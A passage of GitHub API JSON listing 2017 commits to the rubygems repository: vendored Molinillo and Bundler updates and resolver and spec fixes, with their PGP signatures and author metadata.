v1\n\niQIcBAABAgAGBQJYvcfeAAoJEAEZW7MV3ahWFeUP/0IdwIBjcPbgieNizrHZB3rE\niveTp+zCb4junxnL59lEHiSrLa9ijDjBCk/DJs74VzwpEADuJd6kHlJoIWD79c/x\nsQZBJEK5RDHpTSbwisusTFN+mHSr+zPSxdf2gIBVwjHjaLCwuXs90m3sbiobF5Am\nYiDIGPrTqDQDwE6zVN5RXXmxtCJybmwiSA5FII1GFZu44wa7N2CkFP86AqgsGV3u\nddsIVP/53c79/hES3DAFn7sytNMlamMCp8EUyW5lX/owT4gAHPU6cTWPGELuQeNw\n7GCEDFfm+wS+1CTtsypI/fZyEuKNwyspI9pS8GVoh/N5OmcFcLE9BoD6mT0bmm58\n0PDPTOYf2Pyx66naKHM4VERzLrC+U/wGXLy5UlS5LgmUEalVdGUfRllDTNoJyPMw\nKW3IORvMVnNaiP/yhLiK/NlC1ZPwteggCxinNzfi5ITtkwFdhTmrApni622juwHW\nR8szzPulnuHu+HQl/jnfWXp3nR4cBylNaSGoBcnn97pX83Wlm7JDXLFsDKJ6sw/3\n4e3iZBxeJoZvmeFXJx7NyxA6ZKVY+crpwx3UOmhh3GRchYy+wDDYqZWAi81cXMa1\n8d+Vi/KVSE+GEDnNx1P1nnrgp0OFX/CBBhv2nsLAOD41z6XzOaFVU9kTu44UL1sY\nf8cmyQuQd/+ncTBC0EHA\n=sXFJ\n-----END PGP SIGNATURE-----","payload":"tree 51e817c91ad98452cbec2ff64cce98ed0057af84\nparent dba356834db02fcf801360e0f4214249424af68f\nauthor Samuel Giddins 1488309428 -0600\ncommitter Samuel Giddins 1488832478 -0600\n\n[Resolver] Use improved bundler sorting algorithm\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/1c89c04ca154a6f4f3781f3a339e31203f9af4a2","html_url":"https://github.com/rubygems/rubygems/commit/1c89c04ca154a6f4f3781f3a339e31203f9af4a2","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/1c89c04ca154a6f4f3781f3a339e31203f9af4a2/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"dba356834db02fcf801360e0f4214249424af68f","url":"https://api.github.com/repos/rubygems/rubygems/commits/dba356834db02fcf801360e0f4214249424af68f","html_url":"https://github.com/rubygems/rubygems/commit/dba356834db02fcf801360e0f4214249424af68f"}]},{"sha":"d9c9b3e0840b09098b6949b701a02a50576c87a6","node_id":"MDY6Q29tbWl0NjE0MDcwOmQ5YzliM2UwODQwYjA5MDk4YjY5NDliNzAxYTAyYTUwNTc2Yzg3YTY=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-02-17T22:45:19Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-03-06T17:33:54Z"},"message":"Fix bundler specs against Ruby 2.5\n\nFixes a deadlock attempting to activate StringScanner, OpenSSL in finish_resolve in activate_bin_path","tree":{"sha":"903b33eb8e5897dfc17311f8482035fdb765bbe0","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/903b33eb8e5897dfc17311f8482035fdb765bbe0"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d9c9b3e0840b09098b6949b701a02a50576c87a6","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJYvZ2CAAoJEAEZW7MV3ahWOssP/iIFW0UbRRy1CUcWnH8hZW6R\nKMn8VrmfHHw25F/5bRBm/lgGDnAC5gjW+nMoWES+bZ7MPNc96JAEQJSlZUWZaSB7\nhDNWnCdskMEfbshVxYYogQdVaJ4xLKMr5OlIUcrYVJLzCkvVJiwM8FmijhLlMx6O\nhBvwJlwFPH5iqbJ99fzhECJfDjLNanBlaDvDttScBKAGBJmXJhsAn8ZvmxiTSnbw\nbvrQvoo+Q4AlVlaFH5n4iIopQrgbyK2blQmdW+vXC90KBOSIFcubRSPvx3WBqZUS\nCRP2r01Zf64MIU63HvdKBCkNOEyt6hsYSb+29qmxsYySbS3ucs1uH7NCmZvmR4C/\npsmt4Iz7PlJgMgqze0chos4a5LZSOdQKR9Km63wAXHhcchEvCSP+TSSRFxvKWZUn\n1RtsyOTcfS05LVfci5OSCDwkDyxNZoj8Q5pPXuIcuMk/trBEJJINYsShXuyxO5jj\n3M9f6m/8RzYGg9djtBWY8XOYBX7rBEzmNkGZ9nP2LzAjhAlkq+rEXHdkHFlDySpC\npvjN+fFOFoD3cTBYbkR05NU3zDIPd0MSgEjRc/CdUE1mw0NYCAj7swG88nduNitm\nHnmSXv4176Ke65yVRjO7VzbC/eWotcOPKas88iZHKjj0ygznv42D1ZmhJbYAZ2bT\ncA+nWpA2YeDggEbaG/cn\n=kZ6F\n-----END PGP SIGNATURE-----","payload":"tree 903b33eb8e5897dfc17311f8482035fdb765bbe0\nparent dba356834db02fcf801360e0f4214249424af68f\nauthor Samuel Giddins 1487371519 -0600\ncommitter Samuel Giddins 1488821634 -0600\n\nFix bundler specs against Ruby 2.5\n\nFixes a deadlock attempting to activate StringScanner, OpenSSL in finish_resolve in activate_bin_path\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d9c9b3e0840b09098b6949b701a02a50576c87a6","html_url":"https://github.com/rubygems/rubygems/commit/d9c9b3e0840b09098b6949b701a02a50576c87a6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d9c9b3e0840b09098b6949b701a02a50576c87a6/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"dba356834db02fcf801360e0f4214249424af68f","url":"https://api.github.com/repos/rubygems/rubygems/commits/dba356834db02fcf801360e0f4214249424af68f","html_url":"https://github.com/rubygems/rubygems/commit/dba356834db02fcf801360e0f4214249424af68f"}]},{"sha":"4a1f62cadceb01e7f93027b12ca3f95d5058d212","node_id":"MDY6Q29tbWl0NjE0MDcwOjRhMWY2MmNhZGNlYjAxZTdmOTMwMjdiMTJjYTNmOTVkNTA1OGQyMTI=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-03-03T21:56:21Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-03-03T21:56:21Z"},"message":"Update vendored Molinillo to 0.5.7","tree":{"sha":"13e43c7698b10b08453f6ec9f0caa5d8509f0a9e","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/13e43c7698b10b08453f6ec9f0caa5d8509f0a9e"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/4a1f62cadceb01e7f93027b12ca3f95d5058d212","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJYueaFAAoJEAEZW7MV3ahWK5sP/0FxJVNprvX1dGwu0Erl5DgN\n/StTG11Ejh6Tvjo7PPGYMWzTb7WyY7HT3Ec6MSJjgSIx1L72fvqkiipa8tSs3Sea\nVk4cuUvhsRbDdr5zgvwast0gvaSxcWGiuTk1RP4s9IzQ1FAzbDRz1rLI5sOwJkVx\n4gm4mfq1m+COdCMo/4eBHD00Am8SDdIkmZo4zTf9ccNUk7jMruQRlIRumbW3DdJ+\nKODY0x/IkFqQJ2FOMu+zDAW/bnKa54Cyg64IJOylZjqKhgJE+UfesHS4443TBWgf\nO+SgC+xd6oEO2ce2t/4cZemQphOo+m8xSJfCDsmCGFJkDwhOZsa65R4/kmllsP3N\n36IYamioy0CPL5wZQ6WjNjLdHLn3hgE1Uc/6nNbRqSOufSKZFrrhbEE6Y0KZGhOI\nrVIYRzN0Up3Onn8hGOaYLlzUQqGjqzFGywe4C2OSX6Gb1LW4CI5xdCgLac+oHFSC\nwke6Q/kI04CcLvjffe7Cs+ABddWZemfM0Cbcif7yOwgHgUF4sMGpSvdatyW2YkhL\nCa5eg6rGWuVZgssXNpWByk15IxWRIFluhw0jk9yD8sMpVye7st4t9VQIhsipxkNo\nHFwJ3bThYIGS9WGJ9xJ9lIbVBwY6OUiyNlo2m3yahTTkRQH7vxmoLxt1ZLZlCeHJ\nKzxy1oO4JEO+LyG7xx5L\n=aFUm\n-----END PGP SIGNATURE-----","payload":"tree 13e43c7698b10b08453f6ec9f0caa5d8509f0a9e\nparent 73ffc455b80394a491a51d6157a36f839de3e228\nauthor Samuel Giddins 1488578181 -0600\ncommitter Samuel Giddins 1488578181 -0600\n\nUpdate vendored Molinillo to 0.5.7\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/4a1f62cadceb01e7f93027b12ca3f95d5058d212","html_url":"https://github.com/rubygems/rubygems/commit/4a1f62cadceb01e7f93027b12ca3f95d5058d212","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/4a1f62cadceb01e7f93027b12ca3f95d5058d212/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"73ffc455b80394a491a51d6157a36f839de3e228","url":"https://api.github.com/repos/rubygems/rubygems/commits/73ffc455b80394a491a51d6157a36f839de3e228","html_url":"https://github.com/rubygems/rubygems/commit/73ffc455b80394a491a51d6157a36f839de3e228"}]},{"sha":"1f81141a85e83dc16cf7f77a6b68fc171262ae51","node_id":"MDY6Q29tbWl0NjE0MDcwOjFmODExNDFhODVlODNkYzE2Y2Y3Zjc3YTZiNjhmYzE3MTI2MmFlNTE=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-02-09T03:14:52Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-02-09T03:14:52Z"},"message":"Merge pull request #1836 from rubygems/seg-molinillo-0.5.6\n\nUpdate vendored Molinillo to 0.5.6","tree":{"sha":"64a06fd9370364f69efb113115257c7a53a3dee5","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/64a06fd9370364f69efb113115257c7a53a3dee5"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/1f81141a85e83dc16cf7f77a6b68fc171262ae51","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/1f81141a85e83dc16cf7f77a6b68fc171262ae51","html_url":"https://github.com/rubygems/rubygems/commit/1f81141a85e83dc16cf7f77a6b68fc171262ae51","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/1f81141a85e83dc16cf7f77a6b68fc171262ae51/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"5e63fd3112eb6a6b6ffa0523abddb7b73fe25ad9","url":"https://api.github.com/repos/rubygems/rubygems/commits/5e63fd3112eb6a6b6ffa0523abddb7b73fe25ad9","html_url":"https://github.com/rubygems/rubygems/commit/5e63fd3112eb6a6b6ffa0523abddb7b73fe25ad9"},{"sha":"6ffede14bc05ed63340ea2991d18ce3a93e4833f","url":"https://api.github.com/repos/rubygems/rubygems/commits/6ffede14bc05ed63340ea2991d18ce3a93e4833f","html_url":"https://github.com/rubygems/rubygems/commit/6ffede14bc05ed63340ea2991d18ce3a93e4833f"}]},{"sha":"6ffede14bc05ed63340ea2991d18ce3a93e4833f","node_id":"MDY6Q29tbWl0NjE0MDcwOjZmZmVkZTE0YmMwNWVkNjMzNDBlYTI5OTFkMThjZTNhOTNlNDgzM2Y=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-02-08T20:18:48Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-02-08T20:18:48Z"},"message":"Update vendored Molinillo to 0.5.6","tree":{"sha":"64a06fd9370364f69efb113115257c7a53a3dee5","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/64a06fd9370364f69efb113115257c7a53a3dee5"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/6ffede14bc05ed63340ea2991d18ce3a93e4833f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJYm30oAAoJEAEZW7MV3ahWdHEP/1A/hxj6GwJvY4vV3HE3hJGB\n1P6pNoQ9FGl/D8cHyxENdHVHEuu2NF3vVjkioFQ2ujGMQLIAauESo/7dznrKgOQT\nSnsseLQcUBSEaqJjvGlULPMyEos7ICJQpqgR+COp5aQXoH72JIIbqFyfVgcoInjz\nFJEd/QpT+P9bpl1FV1z0TyD3V9Arb5zV0CvS9hiLO6/R+riOoOsRs7XlWGhREVjn\ndWDe9l1eP4Ki2jYeHV7wkVHsrToyelj23yWNLwZlkV/4JBCXJF7oGh4ifOXM3BL9\nzWN9w7GpYyZFs69nqYIyEMrY+leyyHlGke7rdIr9pBmMEDcsnkUt1rc7xFXK7FGm\nMKSaELUh+4ifFXTPfMGKgrLYwW5nX4hj/bcBGzdWxiUu48dVuLkV0FkRzwwhVhQC\n6W/RfC75krpkIKpotvDFwCVKPcbL183oVq53ThgrZK+W33RBEX7tFPsQoKflwn27\nVVudDypoQzUkasCEuGvigsfVwfCeqSJ16EMteuWnvQBDwFtFidNId2brwAuALC94\nrPZkgDT19qxJmstviP6jMuSV3+gRM6JkRTao21DCyIyrYgO40yV7kVdjc6ctTCjx\nQf7fVn7P/CscCkrUSKmpdqmQ+8pMUY635AbX1ppXdYJnREWVkPX4Tkw1OM/Ex0cf\n+6DFhwTw381vSpCD7niD\n=cz33\n-----END PGP SIGNATURE-----","payload":"tree 64a06fd9370364f69efb113115257c7a53a3dee5\nparent 5e63fd3112eb6a6b6ffa0523abddb7b73fe25ad9\nauthor Samuel Giddins 1486585128 -0600\ncommitter Samuel Giddins 1486585128 -0600\n\nUpdate vendored Molinillo to 0.5.6\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/6ffede14bc05ed63340ea2991d18ce3a93e4833f","html_url":"https://github.com/rubygems/rubygems/commit/6ffede14bc05ed63340ea2991d18ce3a93e4833f","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/6ffede14bc05ed63340ea2991d18ce3a93e4833f/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"5e63fd3112eb6a6b6ffa0523abddb7b73fe25ad9","url":"https://api.github.com/repos/rubygems/rubygems/commits/5e63fd3112eb6a6b6ffa0523abddb7b73fe25ad9","html_url":"https://github.com/rubygems/rubygems/commit/5e63fd3112eb6a6b6ffa0523abddb7b73fe25ad9"}]},{"sha":"d9eb4f03626bf2b04f96275d89ebaf2bc2db15db","node_id":"MDY6Q29tbWl0NjE0MDcwOmQ5ZWI0ZjAzNjI2YmYyYjA0Zjk2Mjc1ZDg5ZWJhZjJiYzJkYjE1ZGI=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-01-28T00:45:18Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-01-28T00:45:18Z"},"message":"[SetupCommand] Install the bundler executables","tree":{"sha":"de6763c1c3abdf35b563e937cd8530ffa2093ca4","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/de6763c1c3abdf35b563e937cd8530ffa2093ca4"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d9eb4f03626bf2b04f96275d89ebaf2bc2db15db","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJYi+mzAAoJEAEZW7MV3ahWIEoP+QFWw+Cjy3BJAf3kMAvFkQDs\nbV6Fr+Y35gmkpY2zP/0zciAUVAiBm7IXYv42AlN5vKgzJ20pI4PwXU7nR5epF0Vl\nf92VYcS+v62xogls09FCIVSIMpdqNz5ozCQVr35P9hFBPknBTwUsBAHOnhmu7Awi\n6jTdYGHyBmPR936r4auL0b+VWZAh36+6vwWKrUFdONnlOaPCRkIkyWdDt9OfrxUa\npCdvX183VCBBwCaQ+5uMtJqTAShztPxAIjTvL9szoOH9BjDOSzMesahOk2c+3VKZ\nYjwg8oSM7sZggAGh7G3w7Hnb13bsX/z4NA7lViV6EkefGrmOPZC/Tw0FfF5BySeH\neHeqOBHKTGpP+1RTRUSoCdSdaI8h0GdjnC/NwIfXdssDcTGjNKmVsnjgUPVAS/Lc\nZ9DMwOiBdFML+xq3GNgJ+IWWe6dpKbHyz73GqFAqos+6z4jfkLZWNuYKTPYq/IKH\n8yEapz+DNiLnNgVwmQs7gVLYVkUO0DdoymKOlBB7BxH8MTOsM1QA3Ou/Z0hqERX4\nFA/p5v3vxZlDQHOQtRSgUXrBVZxS+pScV+HxWkwp8xqLTy0a5LykN75TR96J2VQ3\np5jYRpiqZ75tylz9B1RlnlZ4bvDGP5fd5cVgtmxiR+sN+Jp61PIXiVCsPRwPTtZN\nDBl5tYkDq5cukWTOLTjL\n=zdIO\n-----END PGP SIGNATURE-----","payload":"tree de6763c1c3abdf35b563e937cd8530ffa2093ca4\nparent a66054a15c32e169e45ccdc37fb19933dffdf8d8\nauthor Samuel Giddins 1485564318 -0600\ncommitter Samuel Giddins 1485564318 -0600\n\n[SetupCommand] Install the bundler executables\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d9eb4f03626bf2b04f96275d89ebaf2bc2db15db","html_url":"https://github.com/rubygems/rubygems/commit/d9eb4f03626bf2b04f96275d89ebaf2bc2db15db","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d9eb4f03626bf2b04f96275d89ebaf2bc2db15db/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"a66054a15c32e169e45ccdc37fb19933dffdf8d8","url":"https://api.github.com/repos/rubygems/rubygems/commits/a66054a15c32e169e45ccdc37fb19933dffdf8d8","html_url":"https://github.com/rubygems/rubygems/commit/a66054a15c32e169e45ccdc37fb19933dffdf8d8"}]},{"sha":"a66054a15c32e169e45ccdc37fb19933dffdf8d8","node_id":"MDY6Q29tbWl0NjE0MDcwOmE2NjA1NGExNWMzMmUxNjllNDVjY2RjMzdmYjE5OTMzZGZmZGY4ZDg=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-01-28T00:45:15Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-01-28T00:45:15Z"},"message":"Update vendored Bundler to v1.14.3","tree":{"sha":"189bdcc5623f1fe4b000d8d728dfefa427e83539","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/189bdcc5623f1fe4b000d8d728dfefa427e83539"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a66054a15c32e169e45ccdc37fb19933dffdf8d8","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJYi+mbAAoJEAEZW7MV3ahWyUkP/1YCwpofs9urn88NuRFjC2Yb\n3aYAZ9xUrkTEEYcbZ/mYp4TIt+32v1wCNJ5DuPaU11+60k3DdtbWYOTHKnB0Oe0D\n1lod42lbKwHW5bZntprNGfkQjD5hYFDRhFBTNFFrFtKPpar9CH9TvO+D3b9gewuT\nTU8lBjPOa50Z5IUcKpSVFslVoScawmKkR3foycpdhKNitJwjkFN+7Ut5I/KO3mNl\nJvLkg00o71R44DfbN2dLvwvNHDh1YCG14j4eYnThCYoY9RMTTvKM82cYnoqldjIX\nX6+E3wfwB5HAH5FBXEE8rQdwF/i2Ofp6SoAlSLZJqS1RkghxJtpa37bh6yeQ9jzF\nFJzyzipx7e9U4I3vTF/6hsyQ/jO2Vj8/SiYyS/U8oBMJ69l0AUYuwq9qsPFEjZJZ\n/pZ5e8A1dqw7IuS9F4fq01hAYfZfhgynSZtvPN2gSsveT3HcQXAZKBuUIgvHkzu0\nMtLN6rDsFg9wiYj5BJJ5c7GaEGUZ3rXShxRx0HedL7xaRCCEH4UeT1J82/dzkLJO\nLRp6FH40YJSPE81ZNcj5hIPRNLXu6rjD9HfA+fwJpwdk/J2pZRRCPLZXqSEbaNOp\nlfYFXyYPwT55dlLVJItJ+RXdXXZAc5jZReKUhxvzQ/Z1RJZB2n5/vA/LWOE3Je3K\nPN0ISx4Mj9PaN79TndbO\n=8Kg4\n-----END PGP SIGNATURE-----","payload":"tree 189bdcc5623f1fe4b000d8d728dfefa427e83539\nparent e6c4b23799c2d1bc3dfb2f76b78f25cfb5c10835\nauthor Samuel Giddins 1485564315 -0600\ncommitter Samuel Giddins 1485564315 -0600\n\nUpdate vendored Bundler to 